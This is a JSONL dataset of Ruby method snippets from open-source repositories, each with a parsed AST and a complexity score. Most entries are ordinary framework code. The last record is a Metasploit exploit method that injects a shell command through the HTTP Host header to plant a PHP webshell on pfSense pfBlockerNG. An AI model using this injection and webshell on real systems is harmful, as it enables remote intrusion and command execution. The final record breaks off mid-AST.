%Y\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"sym\",\"children\":[\"svg\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"type\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"src\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"base_url\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseNarrativeBot\"]},\"Engine\"]},\"routes\"]},\"url_helpers\"]},\"certificate_path\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"alt\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CGI\"]},\"escapeHTML\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"I18N_KEY\"]}]},{\"type\":\"str\",\"children\":[\".certificate.alt\"]}]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<iframe class='discobot-certificate' src='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"src\"]}]},{\"type\":\"str\",\"children\":[\"' width='650' height='464' alt='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"alt\"]}]},{\"type\":\"str\",\"children\":[\"'></iframe>\"]}]}]}]}","id":"a9023a09-0640-41e4-8460-ac6fed2d9225"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/postgresql/schema_definitions.rb","start_line":325,"raw_source":"def remove_unique_constraint(...)\n          @base.remove_unique_constraint(name, ...)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_unique_constraint\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@base\"]},\"remove_unique_constraint\",{\"type\":\"send\",\"children\":[null,\"name\"]},{\"type\":\"forwarded_args\",\"children\":[]}]}]}","id":"e60b0335-487c-4127-abdf-3c03ab3ddfd3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/result.rb","start_line":29,"raw_source":"def success?\n        actor.present? || type == :ci\n      end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"success?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"actor\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"type\"]},\"==\",{\"type\":\"sym\",\"children\":[\"ci\"]}]}]}]}","id":"fc186eae-5743-41d6-92da-fe7555b0ab19"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/specs/features/browser_ui/1_manage/integrations/pipeline_status_emails_spec.rb","start_line":92,"raw_source":"def mail_hog_messages(mail_hog_api)\n        Support::Retrier.retry_until(sleep_interval: 1) do\n          Runtime::Logger.debug('Fetching email...')\n\n          messages = mail_hog_api.fetch_messages\n          logs = messages.map { |m| \"#{m.to}: #{m.subject}\" }\n\n          Runtime::Logger.debug(\"MailHog Logs: #{logs.join(\"\\n\")}\")\n\n          # for failing pipelines we have three messages\n          # one for the owner\n          # and one for each recipient\n          messages if mail_hog_pipeline_count(messages) >= 2\n        end\n      end","complexity_score":18.85,"ast_json":"{\"type\":\"def\",\"children\":[\"mail_hog_messages\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mail_hog_api\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Support\"]},\"Retrier\"]},\"retry_until\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sleep_interval\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"Logger\"]},\"debug\",{\"type\":\"str\",\"children\":[\"Fetching email...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"messages\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mail_hog_api\"]},\"fetch_messages\"]}]},{\"type\":\"lvasgn\",\"children\":[\"logs\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"messages\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"to\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"subject\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"Logger\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"MailHog Logs: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"logs\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mail_hog_pipeline_count\",{\"type\":\"lvar\",\"children\":[\"messages\"]}]},\">=\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"lvar\",\"children\":[\"messages\"]},null]}]}]}]}","id":"3a748003-6e6c-498f-87a3-f1c7d5aead9a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/renderer.rb","start_line":202,"raw_source":"def self.instrument_filters\n      service = ActiveSupport::Notifications\n      Banzai::PipelineBase.default_instrumentation_service = service\n      subscription_name = Banzai::PipelineBase.filter_subscription_name\n\n      service.monotonic_subscribe(subscription_name) do |_event, start, ending, _transaction_id, payload|\n        duration = ending - start\n        payload[:result][:pipeline_timing] = payload[:result][:pipeline_timing].to_f + duration\n\n        if payload[:context][:debug] || payload[:context][:debug_timing]\n          duration_str = formatted_duration(duration)\n          pipeline_timing_str = formatted_duration(payload[:result][:pipeline_timing])\n          filter_name = payload[:filter].delete_prefix('Banzai::Filter::')\n          pipeline_name = payload[:pipeline].delete_prefix('Banzai::Pipeline::')\n\n          logger = Logger.new($stdout)\n          logger.debug \"#{duration_str} (#{pipeline_timing_str}): #{filter_name} [#{pipeline_name}]\"\n\n          if payload[:context][:debug]\n            logger.debug(payload)\n          end\n        end\n      end\n\n      yield\n    ensure\n      service.unsubscribe(subscription_name) if service\n    end","complexity_score":59.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"instrument_filters\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"service\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Notifications\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Banzai\"]},\"PipelineBase\"]},\"default_instrumentation_service=\",{\"type\":\"lvar\",\"children\":[\"service\"]}]},{\"type\":\"lvasgn\",\"children\":[\"subscription_name\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Banzai\"]},\"PipelineBase\"]},\"filter_subscription_name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},\"monotonic_subscribe\",{\"type\":\"lvar\",\"children\":[\"subscription_name\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_event\"]},{\"type\":\"arg\",\"children\":[\"start\"]},{\"type\":\"arg\",\"children\":[\"ending\"]},{\"type\":\"arg\",\"children\":[\"_transaction_id\"]},{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"duration\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ending\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"start\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"result\"]}]},\"[]=\",{\"type\":\"sym\",\"children\":[\"pipeline_timing\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"result\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"pipeline_timing\"]}]},\"to_f\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"duration\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"context\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"debug\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"context\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"debug_timing\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"duration_str\",{\"type\":\"send\",\"children\":[null,\"formatted_duration\",{\"type\":\"lvar\",\"children\":[\"duration\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pipeline_timing_str\",{\"type\":\"send\",\"children\":[null,\"formatted_duration\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"result\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"pipeline_timing\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"filter_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filter\"]}]},\"delete_prefix\",{\"type\":\"str\",\"children\":[\"Banzai::Filter::\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pipeline_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"pipeline\"]}]},\"delete_prefix\",{\"type\":\"str\",\"children\":[\"Banzai::Pipeline::\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"logger\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Logger\"]},\"new\",{\"type\":\"gvar\",\"children\":[\"$stdout\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"logger\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"duration_str\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline_timing_str\"]}]},{\"type\":\"str\",\"children\":[\"): \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter_name\"]}]},{\"type\":\"str\",\"children\":[\" [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline_name\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"context\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"debug\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"logger\"]},\"debug\",{\"type\":\"lvar\",\"children\":[\"payload\"]}]},null]}]},null]}]}]},{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},\"unsubscribe\",{\"type\":\"lvar\",\"children\":[\"subscription_name\"]}]},null]}]}]}","id":"26028926-0d7b-43e6-8ca5-583bab191d61"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/controllers/discourse_ai/ai_helper/assistant_controller.rb","start_line":26,"raw_source":"def suggest\n        input = get_text_param!\n        force_default_locale = params[:force_default_locale] || false\n\n        raise Discourse::InvalidParameters.new(:mode) if params[:mode].blank?\n\n        if params[:mode] == DiscourseAi::AiHelper::Assistant::CUSTOM_PROMPT\n          raise Discourse::InvalidParameters.new(:custom_prompt) if params[:custom_prompt].blank?\n        end\n\n        if params[:mode] == DiscourseAi::AiHelper::Assistant::ILLUSTRATE_POST\n          return suggest_thumbnails(input)\n        end\n\n        hijack do\n          render json:\n                   DiscourseAi::AiHelper::Assistant.new.generate_and_send_prompt(\n                     params[:mode],\n                     input,\n                     current_user,\n                     force_default_locale: force_default_locale,\n                     custom_prompt: params[:custom_prompt],\n                   ),\n                 status: :ok\n        end\n      rescue DiscourseAi::Completions::Endpoints::Base::CompletionFailed\n        render_json_error I18n.t(\"discourse_ai.ai_helper.errors.completion_request_failed\"),\n                          status: 502\n      end","complexity_score":56.23,"ast_json":"{\"type\":\"def\",\"children\":[\"suggest\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"input\",{\"type\":\"send\",\"children\":[null,\"get_text_param!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"force_default_locale\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"force_default_locale\"]}]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"mode\"]}]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidParameters\"]},\"new\",{\"type\":\"sym\",\"children\":[\"mode\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"mode\"]}]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"AiHelper\"]},\"Assistant\"]},\"CUSTOM_PROMPT\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"custom_prompt\"]}]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidParameters\"]},\"new\",{\"type\":\"sym\",\"children\":[\"custom_prompt\"]}]}]},null]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"mode\"]}]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"AiHelper\"]},\"Assistant\"]},\"ILLUSTRATE_POST\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"suggest_thumbnails\",{\"type\":\"lvar\",\"children\":[\"input\"]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hijack\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"AiHelper\"]},\"Assistant\"]},\"new\"]},\"generate_and_send_prompt\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"mode\"]}]},{\"type\":\"lvar\",\"children\":[\"input\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"force_default_locale\"]},{\"type\":\"lvar\",\"children\":[\"force_default_locale\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"custom_prompt\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"custom_prompt\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"ok\"]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"Completions\"]},\"Endpoints\"]},\"Base\"]},\"CompletionFailed\"]}]},null,{\"type\":\"send\",\"children\":[null,\"render_json_error\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"discourse_ai.ai_helper.errors.completion_request_failed\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[502]}]}]}]}]},null]}]}","id":"aa7f39e2-7d74-42dc-9f90-c8b15851b78b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/core_test.rb","start_line":230,"raw_source":"def attribute_for_inspect(attr_name)\n        if attr_name == \"title\"\n          title.upcase.inspect\n        else\n          super\n        end\n      end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"attribute_for_inspect\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attr_name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attr_name\"]},\"==\",{\"type\":\"str\",\"children\":[\"title\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"title\"]},\"upcase\"]},\"inspect\"]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"ad23c8e1-1fe5-42d7-9c1a-367170c37814"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-housekeeper/lib/gitlab/housekeeper/runner.rb","start_line":117,"raw_source":"def skip_change_if_aborted(change, branch_name)\n        return false unless change.aborted?\n\n        git.in_branch(branch_name) do\n          git.create_commit(change)\n        end\n\n        @logger.puts \"Skipping change as it is marked aborted.\"\n        @logger.puts \"Modified files have been committed to branch #{AmazingPrint::Colors.yellowish(branch_name)}, \" \\\n                     \"but will not be pushed.\"\n        @logger.puts\n        true\n      end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"skip_change_if_aborted\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"change\"]},{\"type\":\"arg\",\"children\":[\"branch_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change\"]},\"aborted?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"git\"]},\"in_branch\",{\"type\":\"lvar\",\"children\":[\"branch_name\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"git\"]},\"create_commit\",{\"type\":\"lvar\",\"children\":[\"change\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"puts\",{\"type\":\"str\",\"children\":[\"Skipping change as it is marked aborted.\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Modified files have been committed to branch \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AmazingPrint\"]},\"Colors\"]},\"yellowish\",{\"type\":\"lvar\",\"children\":[\"branch_name\"]}]}]},{\"type\":\"str\",\"children\":[\", \"]}]},{\"type\":\"str\",\"children\":[\"but will not be pushed.\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"puts\"]},{\"type\":\"true\",\"children\":[]}]}]}","id":"7bbb11f2-76bd-4408-9ca6-e805dfee2ed4"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/personas/tools/custom.rb","start_line":90,"raw_source":"def ai_tool\n          @ai_tool ||= AiTool.find(self.class.tool_id)\n        end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"ai_tool\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@ai_tool\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AiTool\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"tool_id\"]}]}]}]}","id":"40846377-4fbd-43ba-96cc-b4b17361a6db"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/remote_mirror.rb","start_line":19,"raw_source":"def update\n        wrapped_gitaly_errors do\n          repository.gitaly_remote_client.update_remote_mirror(\n            remote_url,\n            only_branches_matching,\n            ssh_key: ssh_key,\n            known_hosts: known_hosts,\n            keep_divergent_refs: keep_divergent_refs\n          )\n        end\n      end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"update\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wrapped_gitaly_errors\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository\"]},\"gitaly_remote_client\"]},\"update_remote_mirror\",{\"type\":\"send\",\"children\":[null,\"remote_url\"]},{\"type\":\"send\",\"children\":[null,\"only_branches_matching\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ssh_key\"]},{\"type\":\"send\",\"children\":[null,\"ssh_key\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"known_hosts\"]},{\"type\":\"send\",\"children\":[null,\"known_hosts\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"keep_divergent_refs\"]},{\"type\":\"send\",\"children\":[null,\"keep_divergent_refs\"]}]}]}]}]}]}","id":"4e3ed3fa-bda2-49f1-b576-0d38cf7ff4a5"}
{"repo_name":"puma","file_path":"./repos/puma/lib/puma/configuration.rb","start_line":219,"raw_source":"def puma_default_options(env = ENV)\n      defaults = DEFAULTS.dup\n      puma_options_from_env(env).each { |k,v| defaults[k] = v if v }\n      defaults\n    end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"puma_default_options\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"env\",{\"type\":\"const\",\"children\":[null,\"ENV\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"defaults\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DEFAULTS\"]},\"dup\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puma_options_from_env\",{\"type\":\"lvar\",\"children\":[\"env\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"defaults\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"k\"]},{\"type\":\"lvar\",\"children\":[\"v\"]}]},null]}]},{\"type\":\"lvar\",\"children\":[\"defaults\"]}]}]}","id":"4ef14748-eb5d-4858-a340-6884a51c73c8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/http/pfsense_pfblockerng_webshell.rb","start_line":86,"raw_source":"def upload_shell\n    print_status 'Uploading shell...'\n    if datastore['WEBSHELL_NAME'].blank?\n      @webshell_name = \"#{Rex::Text.rand_text_alpha(8..16)}.php\"\n    else\n      @webshell_name = \"#{datastore['WEBSHELL_NAME']}.php\"\n    end\n    @parameter_name = Rex::Text.rand_text_alpha(4..12)\n    print_status(\"Webshell name is: #{@webshell_name}\")\n    web_shell_contents = <<~EOF\n      <?php echo file_put_contents('/usr/local/www/#{@webshell_name}','<?php echo(passthru($_POST[\"#{@parameter_name}\"]));');\n    EOF\n    encoded_php = web_shell_contents.unpack('H*')[0].upcase\n    send_request_raw(\n      'uri' => normalize_uri(target_uri.path, '/pfblockerng/www/index.php'),\n      'headers' => {\n        'Host' => \"' *; echo '16i #{encoded_php} P' | dc | php; '\"\n      }\n    )\n    sleep datastore['WfsDelay']\n    register_file_for_cleanup(\"/usr/local/www/#{@webshell_name}\")\n  end","complexity_score":29.7,"ast_json":"{\"type\":\"def\",\"children\":[\"upload_shell\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Uploading shell...\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WEBSHELL_NAME\"]}]},\"blank?\"]},{\"type\":\"ivasgn\",\"children\":[\"@webshell_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[16]}]}]}]},{\"type\":\"str\",\"children\":[\".php\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@webshell_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WEBSHELL_NAME\"]}]}]},{\"type\":\"str\",\"children\":[\".php\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@parameter_name\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[12]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":